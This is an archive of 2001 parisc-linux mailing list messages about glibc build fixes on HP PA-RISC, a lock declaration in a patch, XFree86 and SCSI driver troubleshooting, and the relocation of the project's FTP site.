Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E3DC482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 22:09:35 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id jbfdiaaa for parisc-linux@parisc-linux.org; Tue, 16 Oct 2001 21:04:55 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15ti1F-0001nG-00; Tue, 16 Oct 2001 21:09:25 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12684

As it turns out there was a binutils bug that seems to be causing the
glibc build failures. it was also affecting mips. the binutils bug is
fixed in the upcoming (tomorrow) -3 release.

glibc is building on my box now. I will upload RSN.

Thanks to Ryan Murray <rmurray@debian.org> for the heads up!

For those of you interested in looking at glibc, there are some warnings
in atomicity.h (we don't have a hppa-specific one) and some of the
linuxthreads tests are failing. Patches will be much appreciated :)

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new glibc dpatch
Date: Wed, 17 Oct 2001 00:14:53 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20011017001453.A11826@megatonmonkey.net>
References: <20011017004218.K15532@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620637 28101 80.91.229.3 (22 Nov 2014 01:43:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:57 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 22:13:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3DD6482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 22:13:26 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9H51HG23847;
	Wed, 17 Oct 2001 01:01:17 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9H4ErQ11921;
	Wed, 17 Oct 2001 00:14:53 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011017004218.K15532@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Oct 17, 2001 at 12:42:18AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (91% Sync Ratio [=========.])
Xref: news.gmane.org gmane.linux.ports.parisc:12685

> 
> due to a few people hassling me, i've created a new hppa patch for glibc.
> it incorporates a couple of changes Carlos posted to the list and adds a
> couple of diffs of my own.  i've sent it to BenC for the 2.2.4-4 release
> of glibc, which he assures me is imminent.
> 

That's my name!

> You can find it at
> ftp://puffin.external.hp.com/pub/parisc/src/glibc22-hppa.dpatch
> 
> have fun.  it's still building on paer.d.o, but i would expect it to
> fail to build in the same place as before.

Looking through the patch changes and comparing to mine.
(The build has begun)

Just a comment about your changes to ./sysdeps/ia64/dl-fptr.c

=====
--- glibc22-hppa.dpatch	Tue Oct 16 20:52:02 2001
+++ glibc22-hppa.dpatch.mw	Tue Oct 16 21:05:27 2001
@@ -1135,7 +1135,7 @@
      unsigned int npages;		/* # of pages to allocate */
  #ifdef _LIBC_REENTRANT
 -    volatile int lock;
-+    __atomic_lock_t lock;
++    static __atomic_lock_t lock = __ATOMIC_LOCK_INIT;
      sigset_t full_sigset;
  #endif
      /* the next to members MUST be consecutive! */
=====

Should the lock be static and initialized? Comment?

c.




From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc builds!
Date: Wed, 17 Oct 2001 00:35:49 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20011017003549.B11826@megatonmonkey.net>
References: <20011016210925.H537@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620638 28104 80.91.229.3 (22 Nov 2014 01:43:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:58 +0000 (UTC)
To: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 22:34:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12E53482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 22:34:24 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9H5MFG23956;
	Wed, 17 Oct 2001 01:22:16 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9H4Zna12006;
	Wed, 17 Oct 2001 00:35:49 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Randolph Chung <randolph@tausq.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011016210925.H537@tausq.org>; from randolph@tausq.org on Tue, Oct 16, 2001 at 09:09:25PM -0700
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12686

> As it turns out there was a binutils bug that seems to be causing the
> glibc build failures. it was also affecting mips. the binutils bug is
> fixed in the upcoming (tomorrow) -3 release.
> 
> glibc is building on my box now. I will upload RSN.
> 
> Thanks to Ryan Murray <rmurray@debian.org> for the heads up!
> 
> For those of you interested in looking at glibc, there are some warnings
> in atomicity.h (we don't have a hppa-specific one) and some of the
> linuxthreads tests are failing. Patches will be much appreciated :)
>

This is excellent!

Where can I get the details on the binutils bug?
 
I've read the bug-binutils and binutils-cvs and I don't
see anything out of the ordinary (though it's easy to lose track).

c.




From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new glibc dpatch
Date: Wed, 17 Oct 2001 05:35:49 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20011017053549.A22885@parcelfarce.linux.theplanet.co.uk>
References: <20011017004218.K15532@parcelfarce.linux.theplanet.co.uk> <20011017001453.A11826@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620638 28109 80.91.229.3 (22 Nov 2014 01:43:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:58 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 22:35:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D89C7482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 22:35:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15tiQn-00069G-00; Wed, 17 Oct 2001 05:35:49 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011017001453.A11826@megatonmonkey.net>; from carlos@megatonmonkey.net on Wed, Oct 17, 2001 at 12:14:53AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12687

On Wed, Oct 17, 2001 at 12:14:53AM -0400, Carlos O'Donell Jr. wrote:
> Just a comment about your changes to ./sysdeps/ia64/dl-fptr.c
> 
> =====
> --- glibc22-hppa.dpatch	Tue Oct 16 20:52:02 2001
> +++ glibc22-hppa.dpatch.mw	Tue Oct 16 21:05:27 2001
> @@ -1135,7 +1135,7 @@
>       unsigned int npages;		/* # of pages to allocate */
>   #ifdef _LIBC_REENTRANT
>  -    volatile int lock;
> -+    __atomic_lock_t lock;
> ++    static __atomic_lock_t lock = __ATOMIC_LOCK_INIT;
>       sigset_t full_sigset;
>   #endif
>       /* the next to members MUST be consecutive! */
> =====

I'm not sure what meaning static would have in this context.  It doesn't
have to be initialised because every arch other than PA defines an
unlocked lock to be 0.  If it gets initialised, it gets put in .data
(instead of .bss), even if you're initialising it to 0.  Stupid, I know.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc builds!
Date: Tue, 16 Oct 2001 21:47:25 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20011016214725.I537@tausq.org>
References: <20011016210925.H537@tausq.org> <20011017003549.B11826@megatonmonkey.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620638 28110 80.91.229.3 (22 Nov 2014 01:43:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:58 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 22:47:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D3F4482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 22:47:34 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id zlfdiaaa for parisc-linux@parisc-linux.org; Tue, 16 Oct 2001 21:42:55 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15tic1-0001qu-00; Tue, 16 Oct 2001 21:47:25 -0700
Content-Disposition: inline
In-Reply-To: <20011017003549.B11826@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12688

> This is excellent!
> 
> Where can I get the details on the binutils bug?
>  
> I've read the bug-binutils and binutils-cvs and I don't
> see anything out of the ordinary (though it's easy to lose track).

actually it was a Debian-binutils specific bug. I'm not sure if it's
documented in any of the public lists. Ryan was working with the
maintainers directly.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new glibc dpatch
Date: Wed, 17 Oct 2001 00:55:49 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20011017005549.C11826@megatonmonkey.net>
References: <20011017004218.K15532@parcelfarce.linux.theplanet.co.uk> <20011017001453.A11826@megatonmonkey.net> <20011017053549.A22885@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620639 28114 80.91.229.3 (22 Nov 2014 01:43:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 22:54:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id D90AC482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 22:54:16 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9H5gEG24067;
	Wed, 17 Oct 2001 01:42:15 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9H4tnU12063;
	Wed, 17 Oct 2001 00:55:49 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011017053549.A22885@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Oct 17, 2001 at 05:35:49AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12689

> > 
> > =====
> > --- glibc22-hppa.dpatch	Tue Oct 16 20:52:02 2001
> > +++ glibc22-hppa.dpatch.mw	Tue Oct 16 21:05:27 2001
> > @@ -1135,7 +1135,7 @@
> >       unsigned int npages;		/* # of pages to allocate */
> >   #ifdef _LIBC_REENTRANT
> >  -    volatile int lock;
> > -+    __atomic_lock_t lock;
> > ++    static __atomic_lock_t lock = __ATOMIC_LOCK_INIT;
> >       sigset_t full_sigset;
> >   #endif
> >       /* the next to members MUST be consecutive! */
> > =====
> 
> I'm not sure what meaning static would have in this context.  It doesn't
> have to be initialised because every arch other than PA defines an
> unlocked lock to be 0.  If it gets initialised, it gets put in .data
> (instead of .bss), even if you're initialising it to 0.  Stupid, I know.
>

My bad. The entire struct is defined as static.
The static identifier was to prevent external modifcation of the value.
However since it's encased in a "static struct local" it's not an issue.

True. Any initialized value needs to be shipped into .data, and we
begin to see some ugly .data bloat (even if the user is just specifying
zero anyway...)


I think I'm going to get some sleep now ... to many "my bad" in one 
day ^__^;;;

c.




From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Wed, 17 Oct 2001 09:14:48 +0200 (CEST)
Lines: 47
Approved: news@gmane.org
Message-ID: <1003302888.3bcd2fe864941@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620639 28116 80.91.229.3 (22 Nov 2014 01:43:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 01:15:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7E96482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 01:14:59 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15tkue-0007HT-00; Wed, 17 Oct 2001 09:14:48 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12690

Hello Thomas,

> Thomas Marteau wrote:
> > 
> > Hi all
> > 
> > > Is it possible to config XFree so that it takes mouse input from gpm?
> > Yes via /dev/gpmdata but I won't advice you to do so.
> 
> Yes, I find it back simply on my i386 (but at home) on which it works
> fine that is why I though to this idea but I will follow your advice.
> 
> >
> I launched X via startx on my B132L. I can launch many xterm but I can't
> exec xedit. I am looking why.
> 
> What's about a window manager the X default is twm (if I do not make
> error) but it depends of menu which is not yet available for hppa? Can
> we already replace it by fvwm to install later Xfce?
> 
> > Perhaps, you are stuck b/c of software and not hardware or kernel
> > problems.
> > 
> > Try to do it via startx, Thomas.
> > ESIEE Team
> 
> I do not yet try, so I will do soon and let you inform.

Sorry Thomas it does not work more successfully (with or without gpm running, 
with or without gpmdata). But what could be the small difference between b132 
and b180 (processor clock excepted)?

(Changing mouse doesn't help)
(There is no more (EE) message in XFree86.0.log (or xdm.log). No message, no 
syslog and no kern.log errors)

What can I do to debug this problem?


Thanks again,
	Joel

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] WARNING ftp site moved -> ftp.parisc-linux.org
Date: Wed, 17 Oct 2001 01:21:51 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20011017072151.9088D37D25@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620639 28118 80.91.229.3 (22 Nov 2014 01:43:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 01:21:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F94B482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 01:21:54 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP id 4CDB81F6E4
	for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 03:21:51 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 9088D37D25
	for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 01:21:51 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:12691

Hi palinuxers,

The PA RISC/Linux ftp site has moved. The new location is,

ftp://ftp.parisc-linux.org/

and is also available via http at,

http://ftp.parisc-linux.org/

It has been cleaned up and slightly rearranged to make it less confusing.
puffin.external.hp.com is no longer home to the archive. Sorry for the 
breakage, but the move to the ftp name will allow us greater flexibility to 
move the archive in the future. It's also a good excuse to move things around 
to a better layout.

Please update your links accordingly.
Please report any references to the old site so we can fix them.
Report any other problems to ftpmaster@ftp.parisc-linux.org

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: [parisc-linux] WARNING ftp site moved ->
	ftp.parisc-linux.org
Date: Wed, 17 Oct 2001 09:25:58 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <sbcd5142.014@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620640 28120 80.91.229.3 (22 Nov 2014 01:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:00 +0000 (UTC)
To: <taggart@carmen.fc.hp.com>, <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 01:39:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB3E3482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 01:39:38 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id JAA08165 for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 09:39:37 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma007974; Wed, 17 Oct 01 09:38:14 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Wed, 17 Oct 2001 09:37:06 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12692

>Hi palinuxers,
>
>The PA RISC/Linux ftp site has moved. The new location is,
>
>ftp://ftp.parisc-linux.org/=20
>
Has the CVS-server also moved?

Greetings,
Jurriaan





From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] WARNING ftp site moved -> 
 ftp.parisc-linux.org
Date: Wed, 17 Oct 2001 01:42:28 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20011017074228.D2D4137D25@carmen.fc.hp.com>
References: <sbcd5142.014@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620640 28121 80.91.229.3 (22 Nov 2014 01:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 01:42:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABBAC482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 01:42:33 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 1B0E71F82E; Wed, 17 Oct 2001 03:40:14 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id D2D4137D25; Wed, 17 Oct 2001 01:42:28 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl> 
   of "Wed, 17 Oct 2001 09:25:58 +0200." <sbcd5142.014@ms-zrt1> 
Xref: news.gmane.org gmane.linux.ports.parisc:12693

"Jurriaan Kalkman" writes...

> Has the CVS-server also moved?

Not yet, hopefully later this week. When it does I will post a script to munge 
your checked out cvs trees so you don't have to check out from scratch.

Stay tuned...

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New scsi driver for 53c700 and 53c710 committed
Date: Wed, 17 Oct 2001 10:56:41 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20011017105641.G11105@linuxcare.com>
References: <20011008230949.U11105@linuxcare.com> <20011013233216.A24926@zaphod.halden.lillfab.se> <20011016101716.A11105@linuxcare.com> <20011017000833.C10728@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620640 28125 80.91.229.3 (22 Nov 2014 01:44:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 03:56:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8728A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 03:56:23 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 56CD0B00C; Wed, 17 Oct 2001 10:56:41 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011017000833.C10728@zaphod.halden.lillfab.se>; from 5116@telia.com on Wed, Oct 17, 2001 at 12:08:33AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12694

On Wed, Oct 17, 2001 at 12:08:33AM +0200, Daniel Engstrom wrote:
> 
> > > I have some problems with this driver on my 715-50/old installed from the 
> > > 0.92 cd.
> > 
> > We've had one problem report so far that was fixed by adding a scsi
> > terminator. 
> Well I have terminators at both ends, the external one is an active terminator 
> and the internal on is the original HP part. 
> I also tried to remov the external CD from the bus to day but it had no effect.
> 
> > The new driver runs fast sync scsi transfers, while the old one ran slower
> > async. 
> The 715 i have have a vanilla 53c700 chip and as far as I can tell this chip 
> supports only async transfers. The driver will not enable sync tranfers unless 
> you have at least a 53c700-66 device.

Yes, I think you are right there.

> > Also let us know what you system has by way of scsi termination.
> See above. I have two 3G Quantum drives on the bus and until today I had a dual speed
> Toshiba CDROM in an external enclosure.
> 
> I have enabled debugging in the 53c700 driver, whith this debugging the driver seems 
> to stay alive longer that without debuging. Infact it has yet to lockup after running 
> bonnie for 18 minutes (I booted an nfs root and mounted the scsi disk maunaly). I guess
> the debuging printk's removed the lockup. I just rebooted in to the nfs root with a new 
> kernel where the only change is the removal of the debug output, and this kernel dies after
> a while (~10min) running bonnie. Please advise. :)

I don't think 18 mins with no lockup against 10 mins with lockup is
conclusive really, given that the debugging will have slowed things
down considerably.  How long have you run bonnie for with the old
driver?  I'd like to see that run for say 1 hour without lockups
before we assumed the new driver was causing a problem.

When it fails, I'd expect the scsi layer to time out any active
commands and retry.  Is there any evidence of it doing that, or
is there no console output at all?

Richard





From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
